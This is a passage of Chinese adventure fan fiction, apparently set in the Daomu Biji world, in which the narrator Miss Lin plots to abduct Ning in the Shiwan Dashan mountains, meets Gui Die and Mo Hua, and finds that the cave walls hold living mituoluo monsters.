阿宁清晰的话音传来,似乎离我非常近:“越过这条峡谷,我们去另一边。你们去找,看看有没有宽度窄的地方,最好不超过六米,确保每个人都能跳过去。”
头顶被什么东西砸了下,我一摸,一个土疙瘩。
接着扑簌簌的土块掉下来,看来他们现在站在了我们上面。
我的心砰砰跳起来,胖子动了动,对我使了个眼色。
我不太理解,什么意思?难道要现在动手?
胖子一瞪我,手里捏了个小石头,趁着大伙儿注意力全在上面,偷偷砸了过来,正好砸我脚踝上。
我勃然大怒,看他还在使眼色,忽然心念一动,胖子四十岁的人了,不可能玩心大起搞这么无聊的动作。
被砸到的脚踝还在痛,突然,我想到,他是想让我装伤?
我立刻回他一个眼神,他微不可查点点头。
头顶动静渐渐消失,阿宁他们往别的地方去了。
霍家伙计们抬腿就要走,我忽然身子一歪,“哎哟”了一声。
“怎么了怎么了?”胖子挤开几个人,凑过来道。
我扶着他肩膀,抬起右脚,重心全放在左腿上,面露难色:“我脚崴了,好像走不了路了。”
这真是我这辈子演技巅峰,我作出三分痛楚三分坚强三分不好意思的表情,他们立刻就信了,有人摇摇头一脸“看吧,我就知道”的样子。
那几个伙计嘲讽地看着我,抱臂在旁边看笑话。队伍里有个颇有威望的人看了看我,说:“这样,山路难走,林小姐又崴了脚,先回去吧。”
她环视一圈,似乎在找谁扶我回去合适。
胖子说:“我!我来带她回去!”
她看起来对胖子感官不好,皱起了眉,我连忙说:“可以的,我和胖子熟,你们继续走,别因为我耽误进度。”
她有任务在身,果然迟疑了下,还是同意了,嘱咐我几句,言语间满是关心,搞的我都有点愧疚了。
霍家队伍渐行渐远,我把脚放下来,跟这胖子闷头就往另一边走:“胖子,我们现在就动手?”
“不然等到猴年马月?”胖子嗤了一声,“大好的机会,正巧遇到阿宁,不然十万大山那人跟蚂蚁一样,下次再遇到可就难了。”
“别担心。”胖子安慰我,吹牛道:“他们人虽然多但是我一个人能抵一打人,保准帮你抢来阿宁。”
我哭笑不得,他在插科打诨,我渐渐平静下来,时间不等人,瞻前顾后机会可能就白白流失了,冒险的事就是需要冒险精神。
我们鬼鬼祟祟跟在阿宁队伍后面,他们过了这道沟谷,继续往大山深处走。
我和胖子不敢尾随太明显,尽往灌木里钻,荆棘剐的我手上全是口子,时不时脸上还被抽两下,苦不堪言。
走了半天,阿宁他们终于停下来休息了,有老外捡了柴点起火堆,一群人叽里咕噜说着什么。
我们窝在下风口的灌木堆里,现在我们的造型就像两个野人,头上裹了细软的草圈,胖子让伪装隐蔽用的。
胖子听的头疼,问我:“这群傻鸟说什么呢你给我翻译翻译。”
我说:“他们在抱怨路难走,还有在相互要烟抽,没什么有价值的话。”
很快,一股雪茄味飘了过来,胖子使劲嗅了嗅,羡慕道:“老外抽的真他狗日的带劲儿,等会儿看看有没有机会顺点。”
我没理会他,顺着灌木的缝隙观察他们,这支队伍有不少熟面孔,哈士奇竟然也在。
他们似乎要休整一段时间,火堆上烧起了水,他们开了罐头吃着。
阿宁一直坐在那里,看一张地图。哈士奇跑过去递给她一个开好的罐头,她接了下来放在一边,依然看放在膝盖上的那张纸,很是专心。
我听哈士奇说:“宁,你都看几天了,先吃点东西吧,不用这么着急。”
阿宁摇头:“快点探完第二段路,我回去有事。”
火堆边一静,几个人相互看了看,一个人胳膊肘碰了下哈士奇,示意他说,哈士奇抓了把卷毛,说:“宁,是不是和林小姐有关?”
阿宁没说话,哈士奇小心觑着她脸色,大着胆子说:“宁,林小姐不是说也要来巴乃吗,那我们说不定出去了就能见到她了,你为什么这么急躁。”
阿宁合上地图,沉声说:“不,她已经来了。”
我心中悚然一惊,惊疑不定地和胖子对视——她怎么知道的?
哈士奇也吓一跳,问出了我的疑问。
阿宁吃了一大口罐头,面无表情地咀嚼着,我看她那样子,像是味蕾根本没感觉到食物的味道。
阿宁按按眉心,“感觉。”
哈士奇和队友面面相觑,脸上都有惊奇之色。
阿宁此人,执行任务严密又精确,最讲切实的证据,类似这种模棱两可的主观判断之词在她口中很难听到。
半晌,哈士奇小声说:“可是我们的人并没有看到林小姐的身影。”
另一个人赞同道:“霍家的队伍他们盯两天了,林小姐要是来了,他们肯定看的到。”
阿宁几口吃完了罐头,站起身来,淡淡道:“你们都小看了她,想想她怎么凭一己之力迫使公司北京分部避退出京的。”
他们都一愣。
“烟都灭了,”阿宁说,“点燃了这片山,我们这辈子别想踏入中国境内了。”
她不再多说,一言不发去了远处,大概是去探路了。
胖子眼冒精光,立刻拽我就要跟上去,绕过他们时,哈士奇还在说话,十分摸不着头脑:“阿宁也会相信感觉吗?”
我心里复杂又感慨,阿宁还真没感觉错。
我和胖子跟着阿宁,远远来到一片碎石地,我们藏在茂密的杂草里,她站在一条小溪边,站了好一会儿,不知道在想什么。
我心里有点着急,阿宁站的地方太空旷了,一点也不适合我们下黑手。胖子示意我稍安勿躁,我只好耐着性子盯阿宁。
看了半天,我发现阿宁好像单纯在发呆,顺着她目光看去,她盯着一个溪流漩涡,一动不动。
奇了怪了,难道阿宁来这里放松心情了?
不由得仔细看她盯的那个漩涡,她脚下是这条小溪的凹岸,速度并不快的水流在这里陡然加速,形成了一个小小漩涡。
几片秋日半青半黄的落叶顺着水流飘下来,时不时碰撞两下。
一片靠前的落叶率先接近漩涡,在它前面,已经有数片叶子被漩涡囫囵吞下去了。
阿宁专心致志地盯着这片叶子。
落叶近了,开始旋转,再过一两秒,它会被“咻”的一下吸进去。
就在这时,它后面突然猛冲过来另一片叶子,不知道哪来这么大势能,一下撞地它瞬间脱离漩涡范围,叶子自己却停了下来,迅速被吸入漩涡消失不见,只冒出几个泡泡。
一切都在悄无声息的发生,脱离漩涡的叶子打了两个圈,继续顺流而下。
我这个角度,只能看到几片叶子和漩涡,抓心挠肝的纳闷,胖子奇道:“阿宁在干什么?想不开了想跳河?这也淹不死啊。”
他话音刚落,阿宁忽然转身离开,我正要叫胖子找机会,一扭头,这厮竟然不见了。
心里大骂,几乎是瞬间就想到了胖子想干什么。
阿宁要回去,离近了草丛,那边的草突然一动,胖子旱地拔葱似的冲了出来,表情凶狠,一胳膊就要抡阿宁后颈。
我看他那样子,心里瞬间想让他帮我是对的,我对阿宁下不了手,我没有那个狠心。
阿宁可不是吃素的,几乎在胖子偷袭她的同一秒钟下蹲躲避,顺势一把抓住胖子手臂,重心降低,肩,腰一拧,狠狠把胖子掼起,砸在了地上,鞋好像都甩飞了一只。
教课书级别的过肩摔,大
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地巨震,胖子龇牙咧嘴。
我看的嘴角抽搐,浑身幻痛,我要是来这么一下不知道要断几根骨头。
阿宁杀气腾腾,匕首已出,正要一刀扎下去,胖子腾地灵活跳起,连连后退高声叫道:“是我我我!!”
阿宁愕然道:“王胖子?”她皱起眉,显然不明白他想干什么,冷冷道:“你什么意思?想抢我的地图?”
胖子盯着她手里泛着寒光的匕首,哈哈道:“嗐你这是哪里的话,胖爷我是那种人吗?!图大家都有,我抢你的做甚?这不很久没见了,来找你叙叙旧哈哈哈,打个招呼,打个招呼。”
胖子把手背后,动动手指让我快走。
他还在和阿宁扯皮拖延时间,但以阿宁的脑子,想明白我也在这里是迟早的事。
我心里叹气,果然偷袭阿宁不是那么简单的,我立刻爬起来,弓着腰往后退,听着胖子和阿宁声音越来越小。
退入一片密林中,这里看不到小溪了。我不敢走远,怕胖子等会儿回来找不到我。
我等了几分钟,抬头看了看遮天蔽日的树冠,忽然心中升起一种异样。
入目皆是一片绿,枝叶摩擦声,鸟兽叫声,经过层层树冠削弱,递减,再传到我这儿来只剩下模糊的闷声,就像耳朵里灌水了一样。
没被开发过的十万大山,人类足迹鲜至,自古以来不知道埋藏了多少秘密。
平时生活在城市里,高楼大厦混凝土习以为常,绿化带里难得的一点绿意被修剪的圆润饱满,充满了人类精心打磨的艺术感,毫无攻击力的规训感。
但自然界野蛮生长的植物不是这样的,它们张牙舞爪,奇形怪状,真正没有被控制的植物,是极其可怕的。
人到了古老的原始森林,仰望自然界真实的力量,惊叹自己不过只有古树裸露的根系那么大时,才会知道自己从来不是地球的主人。
我不安地环顾四周,祈祷胖子快点回来。
时间一分一秒过去,还是没有动静,我忍不住焦灼起来。
这里只有我一个人,估摸着爬行类都比我多,随便什么东西来给我一口我就变成肥料了。
我疑神疑鬼,这种环境下,实在很难不胡思乱想。
我实在坐不住了,谁知道这里有没有鬼,山里多冤魂,几百年遇不到一个活人,发现我把我夺舍了咋办。
飞快辨认了下方向,我沿着枯枝小路往我和胖子来的方向走。
胖子这么久没找来,可能是被阿宁抓走了,回去火堆边看看什么情况。
心里又急又怕,我不断告诉自己镇定,害怕没有任何意义。
林中渐渐弥漫出一股白雾。
这让我想起一些不好的回忆,我心里发毛,忍不住想象雾里突然有野鸡脖子飞出来。
走了一段路,天色渐渐黑下来,看了眼没信号的手机,才下午三点,看来原始森林不能以常理度之。
方向分辨的困难,我掏出指北针,仔细确认自己没走反,继续向前走。
二十分钟后,我来到阿宁队伍燃起篝火的地方,傻眼了。
火堆全灭,地上黑乎乎一片,我站在边上连一丝余温都感觉不到。
只有周围的食品罐子垃圾提醒我不是在臆想,他们确实来过,不过已经走了。
阿宁呢?哈士奇呢?胖子呢?
怎么回事?难道他们丢下我了?我心里发凉,心说这可搞笑了,我斗志昂扬地跑来巴乃,信誓旦旦要救回阿宁,结果自己困在这了。
找不到专业的人,我出不了这片林子。
掏出对讲机,调适了两下,毫无反应,不知道哪个杀千刀的给我配的,它好像坏了。
我无奈地捂脸,心里竟然有一种果然如此的荒谬感。
天色渐晚,远处传来古怪的野兽吼叫,大山在缓缓苏醒。
完了,我想,这次我可能真的要死在这里了。
28.鬼脸
思考良久我还是决定呆在原地等救援。
无论是阿宁还是胖子,都不可能把我一个人留在这,他们走了,很有可能是遇到了什么紧急的事,很快就会回来。
比我一个人在山里乱走找死靠谱。
我这样安慰着自己。
我设想了一下自己被霍家的队伍营救的情景,那一定非常尴尬,我几乎可以想到那几个伙计会怎么嘲笑我。
我找了块干燥的地方,枯坐了两个小时,天完全黑下来了,我睁眼和闭眼几乎没有区别。
依然没有人来,倒是令人毛骨悚然的吼叫声一声叠一声,离我越来越近。
我坐立不安,摸到一颗大树边,爬了上去。
这样起码不会突然被豹子什么的袭击。
坐在一条树枝上,凝神听着四周的动静。
野兽嚎叫,昆虫吱吱,黑夜掩盖之下的大山,似乎还有另一种声音。
沙沙、沙沙沙。
半人高的野草里,发出不规律的声音。
潜伏的野兽?
我心里发紧,祈祷这个东西不会上树。
山里夜凉,九月的冷风吹过树梢,枝叶摇曳仿佛鬼魅般窃窃私语,我一个激灵,发现自己已经出了一身冷汗。
“咔嚓”一声,枪上膛,真理在手,我放了点心,摸出一直不敢用的手电,就打算照一下树下面看看什么情况。
忽然,我心脏突然发紧,一种难言的危险直觉弥漫,破空声厉哨般尖锐,我急速压低上半身,就听头顶什么东西飞了过去!
我吓的要死,示威般胡乱打了几枪,枪管吐出狰狞火蛇,炸响骤起,短暂映红黑夜,枪声回荡在幽深的山谷中。
回声渐远,再也没有听到其他声音,我心脏狂跳,颤抖摸着手电筒打开飞快地照了一圈,但是丛林密布,周围什么都没有。
这几枪打过后,大山突然安静了下来,什么声音都没有了。
我紧张地抬起枪,刚刚那是什么东西?难道是猞猁?这种闪电般的速度,我要是没矮身躲过,这会儿多半已经身首分离了。
那东西连落地的脚步声我都没有听见,这会儿很有可能蛰伏了起来,等我松懈。
我警惕着,忽然,鼻尖嗅到一股奇怪的味道。
这味道十分古怪,似香非香,说难闻也谈不上,并不是野生动物特有的那种腥臭味。
倒隐隐约约像是什么特殊的香味,可是我自己不用香水,身上顶多只有洗发水的味道,这味道显然不是。
我暗暗皱眉,总觉得这味道似曾相识,我好像在哪里闻到过。难道是胖子甩掉了阿宁,回来找我了?这是他身上的味道?那人为什么不出现?
那刚刚是他搞的动静?
心里有点不快,他大爷的这个时候是吓唬人的时候吗?
我环视一圈,壮着胆子道:“谁?!给我滚出来!是人你就别做狗,是狗你就叫一声!”
黑夜寂寥,无人应答。
我心里发毛,直犯嘀咕。胖子不可能这么贱。而且我这么骂他还能忍住不出声那不正常。
不是胖子又是谁?手电白光扫过密林,不知道是不是心理作用,映出的灯光惨绿又幽暗,简直像一大片鬼火。
我把背包背到前面,挡住胸腹,免得什么可怕的东西偷袭到我要害。
看着一片荧幽绿光,我忽然想到,会不会是那种绿色的密陀罗?张家古楼里的怪物,隐藏在山体之中的非人类,以血肉为食,我当然也在它们的食谱上。
很快我否决了这个想法,密陀罗只能在山体里移动,出不来,不可能跑出来偷袭我。
这种诡异的生物要是能出来,这十万大山恐怕就沦为密陀罗的领地了,包括巴乃村子都会被嗜血的怪物屠杀掉,那时候只能由国家军队暴力镇压。
我不断扫着树下,忽然,我感觉好像有哪里不对劲,那股熟悉的香味又飘在我鼻尖,似乎它的主人已经离我非常近了。
寒意从骨头缝里传来,与此同时,我后脖颈汗毛竖起,仿佛后面站着什么危险的不明物体。
我机械地向右偏头,眼睛余光看到了,在黑暗中倒立着一张惨白的脸,怪异而扭曲的盯着我!
我几乎魂飞魄散,一惊之下差点从树上掉下去,手脚并用狼狈的后退几步,浑身僵硬。手电被我大幅度动作甩了下去,光束照在草地上,我这里更昏暗了。
这张脸悬浮在空中,毫无血色,白的渗人,整张脸倒着向下,表情似笑非笑,极长的头发笔直垂下来,尾端落在这根树枝上。
似乎是我的动作引起了它的兴趣,它的眼睛咕噜噜转动了一下,饶有兴致地盯着我,露出了一个可怕的狞笑。
我心里打了个寒战,这他大爷的是什么怪物?
手电筒的光自下而上,照在它脸上,我忽然发现,它的眉骨处投出了小块阴影……一只骨相很好的鬼,心里升起异样的感觉,怎么这年头,鬼都要卡颜了?
不对,鬼会有影子吗?
刹那间,我大脑感到一股违和,——这张倒过来的脸,怎么有点熟悉?
我难以置信,这怎么可能?难道说我在地狱竟然有人脉?这位人头女士是我熟人?
正呆坐着,那脸忽然动了,明暗阴影变化,一双古典美的丹凤眼飞扬出狭长的线条。
那一刹那我想起了她是谁:“你你你!你是鬼
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蝶?!你怎么在这!?”
鬼蝶小腿勾在我头顶上面的一根树枝上,整个人倒悬着,腰一卷,腹部发力回到了上面树枝上,核心力量极强,十分轻巧。
她一头黑长直垂下来,几乎和黑色夜行衣融为一体,黑夜中,脸透着玉雕般的精致非人感,乍一看就像她只有一张脸浮在空中似的。
她轻盈地跳下来,脚步无声,像猫一样。
“怎么,我这么不能在这?这又不是你的地盘。”她勾唇一笑,“看到林小姐吓成这样,真是十分有趣,胆子这么小还敢来这种地方?”
她边说边走,向我逼近,普通人站立不稳的高空树枝上,她如履平地,闲庭漫步一般。
我大呼不妙,她看起来来者不善,话听起来客气,眼睛却里尽是寒光。
鬼蝶幽幽地说:“说起来,我还没找林小姐的事呢,那天,我们这边放了你,你转头就去杭州了,紧接着就坐上了阿宁的专机,去北京逍遥快活了。”
她鬼魅般闪过来,吓的我一个倒仰,眼见就要栽下去,鬼蝶闪电般抓住我的领子,徒手把我提了起来,不顾我的抗拒,另一只手铁钳一样牢牢制住我的手,凑到我耳边轻轻说:“你可真是……厉害。”
先前闻到的那股香味霸道的窜入鼻腔,我想起来了,这种味道,我在肖老板的庄园闻到过。
我很不习惯和陌生人挨这么近,头拼命后仰,鬼蝶兴味盎然地看着我的动作,眼中闪过一丝冷意,讥笑道:“怎么?林小姐和阿宁就能黏在一起,住一起吃一起,现在对我就这么不满?”
我猛地抬腿,狠狠顶她一膝盖,她立刻松了手,我连连冷笑向后退,树枝在脚下颤动着:“是又怎么样?我和你很熟吗?麻烦你搞搞清楚,你们追杀过我,狙击过我,囚禁过我。现在还要我对你露出笑脸?!我凭什么对一个暗中窥伺我,对我怀有恶意的势力笑脸相迎?!”
我冷笑着盯着她,火山般的怒意喷发出来,看着她不断变化的表情:“吓唬到我你是不是得意极了?你大可以现在杀了我,你就看看阿宁、吴邪胖子会不会追杀你到天涯海角!”
鬼蝶像是突然受了刺激,脸色一刹那阴沉无比,眉骨阴影下的眼睛里一丝神情也没有。
我心里一怵,回想起刚刚放的狠话有点后悔,可她实在吓了我个灵魂出窍,我不怼她两句怎么也咽不下这口气。
我偷偷挪动脚步,黑暗中后退了一步,就这一步,我听到一声不详的“咔嚓”声,与暗夜中清晰极了。这根可怜的,被迫承载两个人重量的树枝,终于光荣殉职了。
失控感骤然传来,失去意识前的最后一个念头是:我就知道遇到鬼蝶她大爷的准没好事!
29.进山
我醒来时,已经不在大山里了,入眼是洁白的天花板和大亮的窗户,鬼蝶翘着二郎腿,坐在竹椅子上看我。
有人推门而入,随风带进外间一两句巴乃土话。
来人把我扶起来,塞给我一杯热水,一句没什么口音的普通话:“先喝点水吧林小姐。”
正是巴乃的村医,怪不得那时我感到有些违和,原来他根本就是鬼蝶的人。
我叹气,对鬼蝶说:“你们是怎么知道消息,把人安插在这里的?”
说话间,我动了动肌肉,好像我从树上栽下来,并没有摔痛哪里,只是脖子有点不舒服。
“林小姐,我也有自己的消息来源。”鬼蝶打断了我的思绪。
我默了默,直截了当问:“你们抓我想干什么?和裘德考换回你姐姐?”
这么久的时间,如果肖老板还没有发现假林霖已经被抓起来了,那她也不配让阿宁忌惮了。
“我不就站在你面前吗?”她古怪地说,不阴不阳地盯着我。
她看着我惊讶地表情,笑了一声:“还是托你的福,在你和那几个中国人大闹北京的时候,我被趁乱救走了。你应该不知道,我被关在北京吧?就在你眼皮子底下。”
我并不感兴趣,垂下眼睛,厌厌地说:“原来是你。说出你的目的。”
她并没开口,而是对侍立在一边的村医比个手势,他恭敬地递过来一个平板,点开一个视频。
视频似乎是在林子里面偷拍的,天色昏暗,透过层层绿叶,霍家的营帐里灯火通明,“我”和胖子坐在火堆旁,交谈着什么,其他霍家人来来往往,一副见怪不怪的样子。
视频很快放完了,左上角时间正是今天凌晨六点。
“你们除了假扮我还能干什么。”我讽刺道。
她挥走了村医,房门一关,不大的房间霎时只剩下我们俩个,窗外的阳光斜斜照射进来,空气中一片飞舞的细尘。
“林小姐不用这么大敌意,我这次是一个人来的。”出乎我意料的,她温和地说。
“所以?”
“我老板,肖老板她并不知道这里的行动。我跟她请了假。”
“你不是她派来杀裘德考的?”我大为惊奇,“这老头明明在这里,直线距离离我们没有一公里,真的不心动?”
墨婳无奈一摊手:“事实上,我老板和裘德考是私人恩怨,如果我现在在上班,可能会考虑刺杀他,但此刻是我的个人度假时间,所以他和我没有关系。我是追着你来到巴乃的,如果不是这样,我完全不知道裘德考也在这里,从上个月开始,老板就丢失了裘德考的行踪消息。”
我懂了,墨婳她只做自己职责内的工作,下班了她什么都不管。
阿宁要是也这样就好了,我心里不忿,裘德考追求长生,她比谁都积极,全年无休的干,命都不要啦。
想着心事,墨婳忽然开口,随意道:“你跟我走吧。”
我正喝着热水,直接一口喷了出去,心里直觉不对,疯狂咳嗽着说:“你,你说什么?!”
她给我抽了两张纸,淡淡地说:“你可以叫我墨婳,这是我的名字。”
她顿了顿,说:“你跟着阿宁跑来这里,干什么?你似乎什么都做不了,来这里不是送死吗?昨天要不是我找到了你,你可能已经葬身兽口了。”
“跟我走,你和我…妹妹才是同类。实验室最近研发出了新药,鬼蝶服下了有效果,也许也能延长你的寿命。”
我一时没说话,探究地看着她。
杯子的热水蒸汽逸散空中,仿佛凝结成沉甸甸的包袱,“你图什么?”对我这样一个耍了她的人?
“没什么,你可以理解成我可怜我妹妹,想找一个能同类间惺惺相惜的人,陪着她。”
我笑起来,心说难道要和鬼蝶在最后的日子里一起看热血动漫吗?
她说的话,我一个字都不信,八成是想解剖我给她妹妹找续命的方法,毕竟这种同样的诅咒普天之下也是亿万分之一的概率了。
“我要是不同意呢?”我说。
“那只能打晕你带回去了。”墨婳微笑道,“我不想和林小姐闹这么难看,所以礼貌询问了你,我还是不希望你对我产生抵触情绪的。”
我突然开口:“可以。”
墨婳没想到我这么干脆,讶异地高高挑起眉。
她看着我,我平静地回望她,空气中浮动细小的浮尘。
“你的条件?”墨婳说。
“我要一队人,并且保证他们完全听命于我。再过一段时间,不多,就一个月,或者不到一个月我就可以完成所有的事情。”我惬意的往后靠,身体向下缩了缩,向她微笑起来:“等这一切结束,我就跟你走。”
……
墨婳给我的人隐匿在林子里。
我来到霍家营地附近,那个假扮我的人匆匆过来,把一种绿色的药液抹在耳下的位置,没一会儿,人皮面具脱落,被她妥贴收好。
我有点无语:“你们真把我的脸搞成批发的了,谁都能装成我。”
那人笑了一下,对我恭敬一低头:“林小姐见谅。今天起我会潜伏在附近听您差遣,您有什么需要可以用这个联系我。”
她递给我一个小小的圆形物体,和怀表差不多大,侧面敲击两下,可以直接联系到人。
我点了两下黑色的触屏,看着显示时间亮屏,心说这不就是以后的智能手表吗,不过没表带就是了。
“行,我知道了。”
她看着我熟练的动作,眼中有掩饰很好的惊讶,我看过去时,她立刻敛目低下头,对我简洁说着现在的情况。
原来昨天我落单后,墨婳立刻派她和逃脱阿宁魔爪的胖子汇合,胖子误以为我找到了他,接着我们就回了霍家营地。
闷油瓶探路的那一队进展很快,大致路线探查完毕。
今天早晨,霍老太太就点齐人手,踏上进入张家古楼的路了。
“现在霍家营地里剩的人不多,您的朋友,那位王先生也下去了,早晨和我吃了一顿早饭。”
“昨天晚上他对您表示歉意,并询问我要不要晚上偷袭阿宁的帐子,被我拒绝了。”
“阿宁也回来了?”我问。
她点点头:“昨晚阿宁来过,是来找您的。那位王先生坚持说您不在,阿宁大概也不确定,就离开了。”
我下意识摸口袋,她立刻把我的手机递给我,还不忘说:“没有人给您打电话
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。”
“阿宁在营帐里,还没走。不过据我们观察,她有意避开了霍家的人,她现在在集结队伍,马上就要出发。”
我忽然问:“你们有装备吗?”
她立即点头。
“准备准备。”我飞快向霍家营地走去,扔下一句话:“我们马上进山,在阿宁进入张家古楼前,劫走她!”
……
山中密林,我和四个人鬼祟行走。远处就是阿宁的队伍。
和霍家人说了一声,我离开了营地,带着墨婳的这几个手下,从山的另一边绕路,从山脊上不远不近地跟着阿宁。
阿宁的队伍走在山谷中,只要没人拿望远镜抬头侦查,不会发现我们。
我和队友们熟悉了一下,那个先前顶替我的叫小孟,其他人不知道,小孟说她们没有名字。
看这几个人堪称诡谲的身手,我估计她们来自墨婳的刺客本家。
特别是小孟一次一边和我说话,一边凌空用二指捏住飞袭的毒蛇,而后轻描淡写地捏碎了蛇头甩在一边时,我更确定了。
在她们看来,我是阿宁那边的人,但我宣布我要劫走阿宁时,没有人有任何惊讶地情绪,一个个像忠实的士兵,只服从命令。
当然她们私下里惊不惊讶我就不知道了,但走了一整天,她们永远沉默着把我围在中间,彼此连话都很少交流,怎么看也不像会私下聊天的人。
只有小孟时不时和我说两句话,所有人当中,仿佛只有她能和我进行正常的社交。
我和小孟说笑话的时候,她们不笑也没反应,毫无知觉,木讷的像木头人。
但她们扫视丛林,应对危险的时候又出奇的敏捷,几乎有动物般的危险直觉。
更奇的是,她们对我这个菜菜的“队长”唯命是从,眼中一丝不情愿都没有。
我想了一路,后来,我坐在一颗倒下的横木上休息的时候,一拍大腿忽然想到,她们这个样子,不是很像那种古代十分忠诚的暗卫吗?
我看着她们机械的动作,漠然的眼神,心里发寒。
墨家,究竟是一种什么家族?
山谷下,阿宁队伍升起的烟灭了,小孟收起望远镜,快步走过来,俯下身说:“他们好像找到了入口,进入了一条狭窄的缝隙。”
我立刻起身:“走,我们跟上去!”
我们冲下山,在篝火黑烟边,几个人绕着杂草转了几圈,小孟在一大片打结纠缠的藤蔓后面,发现一个小小的通道。
这是一个山体缝隙,里面乌漆麻黑,手电一照,黑不见底。
两侧的山相互挤压着,只留一个门一样的入口,简直就是不怀好意的邀请我们入内。
地上还有踩灭的烟头,抽烟的人应该是谨慎的碾了几下,瘪瘪的烟头,附近有逸散的黑灰。
我抬头看了看山,巨大的山体之下,我们就像蚂蚁一样小。
身后几人沉默地站着,在等我下令,小孟在我旁边,以询问的眼神看着我。
肩上忽然感到一股高山般的压力,仿佛头顶这两座山拔地而起,压到了我身上。
通往张家古楼的密道,危险无处不在,我如今为了一己私欲,带她们进去,会害死这几个人吗?
30.怪物
我不敢再想,逃避似的一挥手,带头闷头钻入幽深通道。
阴冷的气息包裹了我,里面毫无人气,阿宁的队伍无影无踪。
头顶湿漉漉的水滴不断砸落,我后颈凉的一个激灵,不适地扭了扭脖子。
越往里走越冷,四周全是长满青苔的石壁,滑腻潮湿,空间也越来越大,这似乎是个喇叭型的通道。
加速走了大概二十分钟,前面隐约传来人声。
我们关了手电,藏在一个巨石后面,小心向那边看。
之间阿宁的队伍停了下来,因为前面出现了岔路口。
十几道人影背对着我们,光束把岔道照的亮堂堂。
这里竟然有三个通道,大小相似,遍布青苔,完全没有任何明显的区别。
阿宁皱眉看着手中地图,有个四五十岁的男的推推眼镜,正叽里呱啦说着什么,手舞足蹈,不停指向中间一个通道,看样子想让大家走这条路。
其他人神态各异,等待着阿宁的决断。
这种情况似乎在阿宁意料之外,她合上地图,把它塞进背包侧边,询问了那个军师一样的人几句,那人肯定的点点头,紧接着队伍就走了进去。
最后一道光束消失在尽头,我大步走到岔道口,想马上追上去,身后小孟手电向右边一闪,我眼角忽然瞥到一个细小的东西。
身体已经顺着惯性走了几步,掠过了那东西,视线被石壁挡住,我刹住脚步,转身,砰地一声和身后的人撞了个结结实实。
我条件反射说对不起对不起,那人更实诚,竟然直接咚的一声跪下来了,一声不吭。
我惊地一下跳到一边,她低垂着头,眼睛盯着地面,头顶长眼睛似的挪动膝盖,我蹦到哪她就转向哪。
小孟立刻把她拉起来,厉声道:“又没让你跪,起来!”
她站了起来,我不知所措,小孟几乎是难堪地望了我一眼,说:“林小姐,你下个令,说不用跪。”
除小孟外,几个人垂手侍立,一副认打认罚的样子,仿佛这种情况她们早就习以为常了。
我心里不是滋味,墨家究竟是个什么鬼地方?把人都搞成这个样子?
我依言下令,几个人听了说“是”,依然幽魂一样跟着我。
压下心头的异样,我看了小孟一眼,心说等会儿有机会我得问问这是怎么回事,难道墨家如今还过着封建家族的那一套?
我打开手电寻找之前一闪而过的东西。
很快我找到了它,因为这个东西非常奇怪,压根不是自然界能够自然形成的。
一个陌生的刻痕。
石壁上厚厚青苔下面,白色的刻痕被掩盖,但是依然露出了指甲盖大小的边缘,似乎是时间久了,痕迹发青变暗,若是囫囵看过去很难注意到。
我拔出匕首,调开周围的青苔,刻痕的全貌展现,我看着它,愣住了。
这里竟然有人写了一个奇怪的符号,像一串无意义的希腊字母排列组合,十分诡异。
小孟也奇怪道:“这是什么?谁为什么在这里刻下这个?”
“这刻痕有些年头了,边缘都模糊了,肯定不是刚刚那群老外留下的,那就是前人?”我想到了当年的考古队,难道是他们走过这条路,给后面的队友留了个记号?
推测合理,但我心中总觉得哪里有点不对。
冥冥之中,我似乎漏掉了什么重要的事情,这件事性命攸关,想不起来我好像要大难临头。
“先走。”我匆匆扎进通道,先追上阿宁再说。
前面地势逐渐向下,路并不好走,各种长相吓人的冷血生物大摇大摆趴在路上,我们一过来,他们立刻惊走。
不动弹小动物被小孟她们一脚踹飞,给我开道。
我完全没有注意,心里不详的预感挥之不去,脚下生风,越走越快。
我们在大山深处走的越来越深,四周的石壁也渐渐发生了变化,青绿青绿的,触手凉且滑,像是什么地底深处的玉脉一样。
不知道什么时候,冷血动物都不见了,脚下的触感也发生了变化,光滑的像铺的什么大理石。
前方绕过一个弯,我们再次追上了阿宁队伍,这里是一个巨大的洞穴,半圆弧形的洞穴顶十分光滑。
他们围在一起,打着灯似乎在看什么,我一探头,顿时倒吸一口凉气,立马捂住嘴巴:这片洞穴空地之上,竟然堆满了散架的人骨!
我强行稳住心神,躲到石壁后面,就听阿宁的声音传来,与其颇为疑惑:“这里为什么会有这么多人骨?”
这个位置
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离阿宁的队伍非常近,她的声音清晰又好听,我忍不住支起耳朵。
有个人说:“这些骨头,都是散的,没有一具完整的骸骨,也不新鲜,年代看起来颇久。很可能是许多年前就死了,又被各种野生动物啃食,形成了现在这种样子。”
忽然,我听到哈士奇不太相信的说:“不对啊,你胡扯的吧。走过来的时候还有野生动物,但走到现在,这里现在可是一个蚂蚱都没看到了,什么东西能把骨头啃得这么干净?”
有个老外嘀咕着说:“那就是山里的妖怪咯?中国的故事里不是经常在大山里面镇压着一个强大的妖怪吗?西游记不就是这样?五行山下镇着孙悟空。说不定这些死人都是献祭给妖怪的祭品。”
有个人大概正在喝水,闻言噗的一口水喷了出来,哈哈大笑:“上帝!你看中国古典小说看入迷了!……等等,这是什么东西?!”
这个人的声音一瞬间变得非常惊恐,颤抖的声音大叫,凄厉无比。
我心里一紧,立刻探出头,那边所有人背对着我,手电光束打在了一块石壁上。
那块碧绿的石壁,被一块水渍浸透,透出较深的光泽,隐隐间可以看到,石壁后面,藏着一个扭曲四肢的人影!
阿宁脸色凝重,立刻把自己的水壶往石壁上一泼,其他人飞快地照做。
大片深色水渍晕染开来,一个又一个不石中人或近或远,或大或小,姿势动作都不一样,肢体关节扭曲成人类不可能达到的幅度,诡谲怪异地力探着头,要从石壁中挣脱出来!
与此同时,我的大脑轰的一声,脸色刹那惨白。
我想起岔道口那个类似希腊字母的记号是什么了!
那是张起灵从前做过的记号,代表极度危险!
我颤抖的手摸着石壁,光滑如玉的触感,手下似乎摸到了一点异样。
我一个激灵,涣散的眼睛聚焦一看,一个庞大的人型正面朝着我,我的脸正对着他胸口的位置。
一只诡异的手已经在碧绿的墙壁中拱起了一个小凸起,刚刚正好被我摸到!
麻意从指尖弥漫到心脏,活的,这些东西是活的……
大山深处的石壁里,不是别的,正是密陀罗!换句话说,这座山……其实就是一个庞大无比的密陀罗!
31.围杀
洞穴中碎裂的人骨,就是以前到来这里的人,不知道是探险队还是盗墓贼,被引诱到了这里,被这群怪物吞噬了血肉!
咔嚓咔嚓,令人无比惊惧的碎裂声此起彼伏,在洞穴里回荡。
